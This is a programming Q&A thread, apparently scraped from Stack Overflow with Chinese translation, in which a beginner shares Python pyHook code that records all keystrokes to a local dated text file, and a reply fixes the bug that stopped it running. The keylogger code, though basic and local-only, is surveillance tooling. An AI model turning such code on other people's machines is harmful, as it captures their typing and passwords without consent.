【问题标题】:Python Keylogger with some features具有一些功能的 Python 键盘记录器
【发布时间】:2016-11-24 00:06:41
【问题描述】:

我刚开始用 Python 编程。我的第一个“项目”是键盘记录器。我已经阅读了在这里和其他论坛上发布的几行代码。我编写了这段代码,它应该记录按下的键并在每次按下回车键时在 .txt 文件中开始一个新行。有人可以给我一些建议吗?

import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event):
    if event.Ascii:
        log = open(file_log,"a")
        char = chr(event.Ascii)
        if event.Ascii == 13:
            log.write('\n')
        log.write(char)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()

谢谢和最好的问候!

编辑:文件似乎没有启动,因为启动时没有创建新进程或日志文件

【问题讨论】:

  • 关于什么的建议?有什么不工作吗?

标签: python python-2.7 logging keylogger pyhook


【解决方案1】:

https://sourceforge.net/p/pyhook/wiki/PyHook_Tutorial/的示例比较

你会看到你的线

hm.KeyDown = OnKeyboardEvent()

不应有尾随 ()。您希望 KeyDown 获取函数,而不是函数的结果。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-03-07
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多